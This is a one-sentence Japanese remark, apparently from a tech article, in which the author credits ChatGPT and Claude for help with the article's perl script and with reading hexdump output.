記事内に書いた perl スクリプトや hexdump のダンプ情報の読み解き方なんかは ChatGPT、Claudeを頼りました:pray::pray: